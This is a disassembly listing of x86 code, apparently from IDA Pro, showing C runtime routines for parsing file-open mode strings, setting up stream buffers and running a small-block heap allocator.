mov ebx, 1000h jnz short loc_418825 push ebx call sub_415DC9 test eax, eax pop ecx mov [edi], eax jnz short loc_418825 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_418832 ; --------------------------------------------------------------------------- loc_418825: ; CODE XREF: sub_4187B6+4Dj ; sub_4187B6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_418832: ; CODE XREF: sub_4187B6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41883F: ; CODE XREF: sub_4187B6+10j ; sub_4187B6+24j ... xor eax, eax pop esi retn sub_4187B6 endp ; =============== S U B R O U T I N E ======================================= sub_418843 proc near ; CODE XREF: sub_415B96+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41886D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41887E push esi call sub_4186E4 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41886D: ; CODE XREF: sub_418843+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41887E push eax call sub_4186E4 pop ecx loc_41887E: ; CODE XREF: sub_418843+10j ; sub_418843+32j pop esi retn sub_418843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418880 proc near ; CODE XREF: sub_415BC8+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_46967C push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_4188B9 cmp al, 72h jz short loc_4188B2 cmp al, 77h jnz loc_4189CD mov ecx, 301h jmp short loc_4188BE ; --------------------------------------------------------------------------- loc_4188B2: ; CODE XREF: sub_418880+21j xor ecx, ecx or esi, 1 jmp short loc_4188C1 ; --------------------------------------------------------------------------- loc_4188B9: ; CODE XREF: sub_418880+1Dj mov ecx, 109h loc_4188BE: ; CODE XREF: sub_418880+30j or esi, 2 loc_4188C1: ; CODE XREF: sub_418880+37j push 1 pop edx loc_4188C4: ; CODE XREF: sub_418880+8Bj ; sub_418880+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_4189B3 cmp edx, ebx jz loc_4189B3 movsx eax, al cmp eax, 54h jg short loc_418952 jz short loc_418942 sub eax, 2Bh jz short loc_41892C sub eax, 19h jz short loc_418922 sub eax, 0Eh jz short loc_41890D dec eax jnz loc_4189A4 cmp [ebp+var_4], ebx jnz loc_4189A4 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_4188C4 ; --------------------------------------------------------------------------- loc_41890D: ; CODE XREF: sub_418880+6Fj cmp [ebp+var_4], ebx jnz loc_4189A4 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_4188C4 ; --------------------------------------------------------------------------- loc_418922: ; CODE XREF: sub_418880+6Aj test cl, 40h jnz short loc_4189A4 or ecx, 40h jmp short loc_4188C4 ; --------------------------------------------------------------------------- loc_41892C: ; CODE XREF: sub_418880+65j test cl, 2 jnz short loc_4189A4 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_4188C4 ; --------------------------------------------------------------------------- loc_418942: ; CODE XREF: sub_418880+60j mov eax, 1000h test ecx, eax jnz short loc_4189A4 or ecx, eax jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_418952: ; CODE XREF: sub_418880+5Ej sub eax, 62h jz short loc_41899F dec eax jz short loc_418988 sub eax, 0Bh jz short loc_418971 sub eax, 6 jnz short loc_4189A4 test ch, 0C0h jnz short loc_4189A4 or ch, 40h jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_418971: ; CODE XREF: sub_418880+DDj cmp [ebp+var_8], ebx jnz short loc_4189A4 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_418988: ; CODE XREF: sub_418880+D8j cmp [ebp+var_8], ebx jnz short loc_4189A4 mov [ebp+var_8], 1 or esi, 4000h jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_41899F: ; CODE XREF: sub_418880+D5j test ch, 0C0h jz short loc_4189AB loc_4189A4: ; CODE XREF: sub_418880+72j ; sub_418880+7Bj ... xor edx, edx jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_4189AB: ; CODE XREF: sub_418880+122j or ch, 80h jmp loc_4188C4 ; --------------------------------------------------------------------------- loc_4189B3: ; CODE XREF: sub_418880+4Aj ; sub_418880+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41D55A mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_4189D1 loc_4189CD: ; CODE XREF: sub_418880+25j xor eax, eax jmp short loc_4189EB ; --------------------------------------------------------------------------- loc_4189D1: ; CODE XREF: sub_418880+14Bj mov eax, [ebp+arg_C] inc dword_469674 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_4189EB: ; CODE XREF: sub_418880+14Fj pop edi pop esi pop ebx leave retn sub_418880 endp ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_415BC8p mov edx, dword_46A7C0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_418A61 mov ebx, dword_4697A0 mov edi, ebx loc_418A0C: ; CODE XREF: sub_4189F0+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_418A27 test byte ptr [ecx+0Ch], 83h jz short loc_418A22 inc eax add edi, 4 cmp eax, edx jl short loc_418A0C jmp short loc_418A61 ; --------------------------------------------------------------------------- loc_418A22: ; CODE XREF: sub_4189F0+26j mov esi, [ebx+eax*4] jmp short loc_418A4B ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_4189F0+20j mov edi, eax push 20h shl edi, 2 call sub_415DC9 pop ecx mov ecx, dword_4697A0 mov [edi+ecx], eax mov eax, dword_4697A0 mov edi, [edi+eax] cmp edi, ebp jz short loc_418A61 mov esi, edi loc_418A4B: ; CODE XREF: sub_4189F0+35j cmp esi, ebp jz short loc_418A61 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_418A61: ; CODE XREF: sub_4189F0+12j ; sub_4189F0+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_4189F0 endp ; =============== S U B R O U T I N E ======================================= sub_418A68 proc near ; CODE XREF: sub_415DDB+1Fp ; sub_4174DF+106p ... arg_0 = dword ptr 4 mov eax, dword_469518 test eax, eax jz short loc_418A80 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_418A80 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418A80: ; CODE XREF: sub_418A68+7j ; sub_418A68+12j xor eax, eax retn sub_418A68 endp ; =============== S U B R O U T I N E ======================================= sub_418A83 proc near ; CODE XREF: .nsp0:00417B52p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_421174 test eax, eax mov dword_46AB20, eax jz short loc_418AB8 call sub_418ABF test eax, eax jnz short loc_418ABB push dword_46AB20 call dword_421170 loc_418AB8: ; CODE XREF: sub_418A83+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_418ABB: ; CODE XREF: sub_418A83+27j push 1 pop eax retn sub_418A83 endp ; =============== S U B R O U T I N E ======================================= sub_418ABF proc near ; CODE XREF: sub_418A83+20p push 140h push 0 push dword_46AB20 call dword_42114C test eax, eax mov dword_46AB1C, eax jnz short loc_418ADC retn ; --------------------------------------------------------------------------- loc_418ADC: ; CODE XREF: sub_418ABF+1Aj and dword_46AB14, 0 and dword_46AB18, 0 push 1 mov dword_46AB10, eax mov dword_46AB08, 10h pop eax retn sub_418ABF endp ; =============== S U B R O U T I N E ======================================= sub_418AFD proc near ; CODE XREF: sub_415E3D+Ap ; sub_4174DF+3Dp ... arg_0 = dword ptr 4 mov eax, dword_46AB18 lea ecx, [eax+eax*4] mov eax, dword_46AB1C lea ecx, [eax+ecx*4] loc_418B0D: ; CODE XREF: sub_418AFD+26j cmp eax, ecx jnb short loc_418B25 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_418B27 add eax, 14h jmp short loc_418B0D ; --------------------------------------------------------------------------- loc_418B25: ; CODE XREF: sub_418AFD+12j xor eax, eax locret_418B27: ; CODE XREF: sub_418AFD+21j retn sub_418AFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B28 proc near ; CODE XREF: sub_415E3D+16p ; sub_4174DF+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_418BEE sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_418B80 mov [ebp+arg_4], edi loc_418B80: ; CODE XREF: sub_418B28+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_418BD2 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_418BAE mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_418BD2 mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_418BD2 ; --------------------------------------------------------------------------- loc_418BAE: ; CODE XREF: sub_418B28+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_418BD2 mov ecx, [ebp+arg_0] and [ecx+4], edi loc_418BD2: ; CODE XREF: sub_418B28+60j ; sub_418B28+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_418BEE: ; CODE XREF: sub_418B28+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_418BFC push 3Fh pop edi loc_418BFC: ; CODE XREF: sub_418B28+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_418CAB sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_418C27 mov [ebp+arg_4], edx mov ecx, edx loc_418C27: ; CODE XREF: sub_418B28+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_418C39 mov edi, edx loc_418C39: ; CODE XREF: sub_418B28+10Dj cmp ecx, edi jz short loc_418CA8 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_418C90 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_418C6C mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_418C90 mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_418C90 ; --------------------------------------------------------------------------- loc_418C6C: ; CODE XREF: sub_418B28+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_418C90 mov ecx, [ebp+arg_0] and [ecx+4], edx loc_418C90: ; CODE XREF: sub_418B28+11Ej ; sub_418B28+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_418CA8: ; CODE XREF: sub_418B28+113j mov edx, [ebp+var_8] loc_418CAB: ; CODE XREF: sub_418B28+DDj cmp [ebp+var_14], 0 jnz short loc_418CBA cmp [ebp+arg_4], edi jz loc_418D43 loc_418CBA: ; CODE XREF: sub_418B28+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_418D43 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_418D17 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418D06 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_418D06: ; CODE XREF: sub_418B28+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_418D40 ; --------------------------------------------------------------------------- loc_418D17: ; CODE XREF: sub_418B28+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418D2D lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_418D2D: ; CODE XREF: sub_418B28+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_418D40: ; CODE XREF: sub_418B28+1EDj mov ebx, [ebp+var_C] loc_418D43: ; CODE XREF: sub_418B28+18Cj ; sub_418B28+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_418E4E mov eax, dword_46AB14 test eax, eax jz loc_418E40 mov ecx, dword_46AB0C mov edi, dword_421178 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi mov ecx, dword_46AB0C mov eax, dword_46AB14 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_46AB14 mov ecx, dword_46AB0C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_46AB14 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_46AB14 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_418DCE and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_46AB14 loc_418DCE: ; CODE XREF: sub_418B28+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_418E40 push ebx push 0 push dword ptr [eax+0Ch] call edi mov eax, dword_46AB14 push dword ptr [eax+10h] push 0 push dword_46AB20 call dword_421150 mov eax, dword_46AB18 mov edx, dword_46AB1C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_46AB14 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_416490 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_46AB18 cmp eax, dword_46AB14 jbe short loc_418E32 sub eax, 14h loc_418E32: ; CODE XREF: sub_418B28+305j mov ecx, dword_46AB1C mov dword_46AB10, ecx jmp short loc_418E43 ; --------------------------------------------------------------------------- loc_418E40: ; CODE XREF: sub_418B28+233j ; sub_418B28+2AAj mov eax, [ebp+arg_0] loc_418E43: ; CODE XREF: sub_418B28+316j mov dword_46AB14, eax mov dword_46AB0C, esi loc_418E4E: ; CODE XREF: sub_418B28+226j pop edi pop esi pop ebx leave retn sub_418B28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E53 proc near ; CODE XREF: sub_415E07+Ep ; sub_4174DF+69p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_46AB18 mov edx, dword_46AB1C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_418E93 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_418EA3 ; --------------------------------------------------------------------------- loc_418E93: ; CODE XREF: sub_418E53+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_418EA3: ; CODE XREF: sub_418E53+3Ej mov eax, dword_46AB10 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_418ECA loc_418EB1: ; CODE XREF: sub_418E53+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418ECA add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_418EB1 loc_418ECA: ; CODE XREF: sub_418E53+5Cj ; sub_418E53+6Aj cmp ebx, [ebp+var_4] jnz short loc_418F48 mov ebx, edx loc_418ED1: ; CODE XREF: sub_418E53+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_418EED mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418EEB add ebx, 14h jmp short loc_418ED1 ; --------------------------------------------------------------------------- loc_418EEB: ; CODE XREF: sub_418E53+91j cmp ebx, eax loc_418EED: ; CODE XREF: sub_418E53+83j jnz short loc_418F48 loc_418EEF: ; CODE XREF: sub_418E53+ADj cmp ebx, [ebp+var_4] jnb short loc_418F05 cmp dword ptr [ebx+8], 0 jnz short loc_418F02 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_418EEF ; --------------------------------------------------------------------------- loc_418F02: ; CODE XREF: sub_418E53+A5j cmp ebx, [ebp+var_4] loc_418F05: ; CODE XREF: sub_418E53+9Fj jnz short loc_418F2D mov ebx, edx loc_418F09: ; CODE XREF: sub_418E53+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_418F1D cmp dword ptr [ebx+8], 0 jnz short loc_418F1B add ebx, 14h jmp short loc_418F09 ; --------------------------------------------------------------------------- loc_418F1B: ; CODE XREF: sub_418E53+C1j cmp ebx, eax loc_418F1D: ; CODE XREF: sub_418E53+BBj jnz short loc_418F2D call sub_41915C mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_418F41 loc_418F2D: ; CODE XREF: sub_418E53:loc_418F05j ; sub_418E53:loc_418F1Dj push ebx call sub_41920D pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_418F48 loc_418F41: ; CODE XREF: sub_418E53+D8j xor eax, eax jmp loc_419157 ; --------------------------------------------------------------------------- loc_418F48: ; CODE XREF: sub_418E53+7Aj ; sub_418E53:loc_418EEDj ... mov dword_46AB10, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_418F6F mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418FA6 loc_418F6F: ; CODE XREF: sub_418E53+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_418FA3 loc_418F8C: ; CODE XREF: sub_418E53+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_418F8C loc_418FA3: ; CODE XREF: sub_418E53+137j mov edx, [ebp+var_4] loc_418FA6: ; CODE XREF: sub_418E53+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_418FCF mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_418FCF: ; CODE XREF: sub_418E53+16Dj ; sub_418E53+183j test ecx, ecx jl short loc_418FD8 shl ecx, 1 inc edi jmp short loc_418FCF ; --------------------------------------------------------------------------- loc_418FD8: ; CODE XREF: sub_418E53+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_418FF5 push 3Fh pop esi loc_418FF5: ; CODE XREF: sub_418E53+19Dj cmp esi, edi jz loc_41910A mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_419066 cmp edi, 20h jge short loc_419035 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_419063 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_419066 ; --------------------------------------------------------------------------- loc_419035: ; CODE XREF: sub_418E53+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_419063 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_419066 ; --------------------------------------------------------------------------- loc_419063: ; CODE XREF: sub_418E53+1D6j ; sub_418E53+203j mov ebx, [ebp+arg_0] loc_419066: ; CODE XREF: sub_418E53+1B0j ; sub_418E53+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_419116 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_419107 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_4190D8 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4190C6 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_4190C6: ; CODE XREF: sub_418E53+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_419107 ; --------------------------------------------------------------------------- loc_4190D8: ; CODE XREF: sub_418E53+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4190F1 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4190F1: ; CODE XREF: sub_418E53+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_419107: ; CODE XREF: sub_418E53+24Ej ; sub_418E53+283j mov ecx, [ebp+var_8] loc_41910A: ; CODE XREF: sub_418E53+1A4j test ecx, ecx jz short loc_419119 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_419119 ; --------------------------------------------------------------------------- loc_419116: ; CODE XREF: sub_418E53+229j mov ecx, [ebp+var_8] loc_419119: ; CODE XREF: sub_418E53+2B9j ; sub_418E53+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41914F cmp ebx, dword_46AB14 jnz short loc_41914F mov ecx, [ebp+var_4] cmp ecx, dword_46AB0C jnz short loc_41914F and dword_46AB14, 0 loc_41914F: ; CODE XREF: sub_418E53+2E0j ; sub_418E53+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_419157: ; CODE XREF: sub_418E53+F0j pop edi pop esi pop ebx leave retn sub_418E53 endp ; =============== S U B R O U T I N E ======================================= sub_41915C proc near ; CODE XREF: sub_418E53+CCp mov eax, dword_46AB18 mov ecx, dword_46AB08 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41919F lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_46AB1C push edi push dword_46AB20 call dword_421160 cmp eax, edi jz short loc_4191EF add dword_46AB08, 10h mov dword_46AB1C, eax mov eax, dword_46AB18 loc_41919F: ; CODE XREF: sub_41915C+11j mov ecx, dword_46AB1C push 41C4h push 8 lea eax, [eax+eax*4] push dword_46AB20 lea esi, [ecx+eax*4] call dword_42114C cmp eax, edi mov [esi+10h], eax jz short loc_4191EF push 4 push 2000h push 100000h push edi call dword_42117C cmp eax, edi mov [esi+0Ch], eax jnz short loc_4191F3 push dword ptr [esi+10h] push edi push dword_46AB20 call dword_421150 loc_4191EF: ; CODE XREF: sub_41915C+30j ; sub_41915C+67j xor eax, eax jmp short loc_41920A ; --------------------------------------------------------------------------- loc_4191F3: ; CODE XREF: sub_41915C+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_46AB18 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41920A: ; CODE XREF: sub_41915C+95j pop edi pop esi retn sub_41915C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41920D proc near ; CODE XREF: sub_418E53+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41921F: ; CODE XREF: sub_41920D+19j test eax, eax jl short loc_419228 shl eax, 1 inc ebx jmp short loc_41921F ; --------------------------------------------------------------------------- loc_419228: ; CODE XREF: sub_41920D+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41923D: ; CODE XREF: sub_41920D+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41923D mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_42117C test eax, eax jnz short loc_419270 or eax, 0FFFFFFFFh jmp loc_419303 ; --------------------------------------------------------------------------- loc_419270: ; CODE XREF: sub_41920D+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_4192B6 lea eax, [edi+10h] loc_41927D: ; CODE XREF: sub_41920D+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41927D loc_4192B6: ; CODE XREF: sub_41920D+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_4192F3 or [eax+4], edi loc_4192F3: ; CODE XREF: sub_41920D+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_419303: ; CODE XREF: sub_41920D+5Ej pop edi pop esi pop ebx leave retn sub_41920D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419308 proc near ; CODE XREF: sub_4174DF+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] 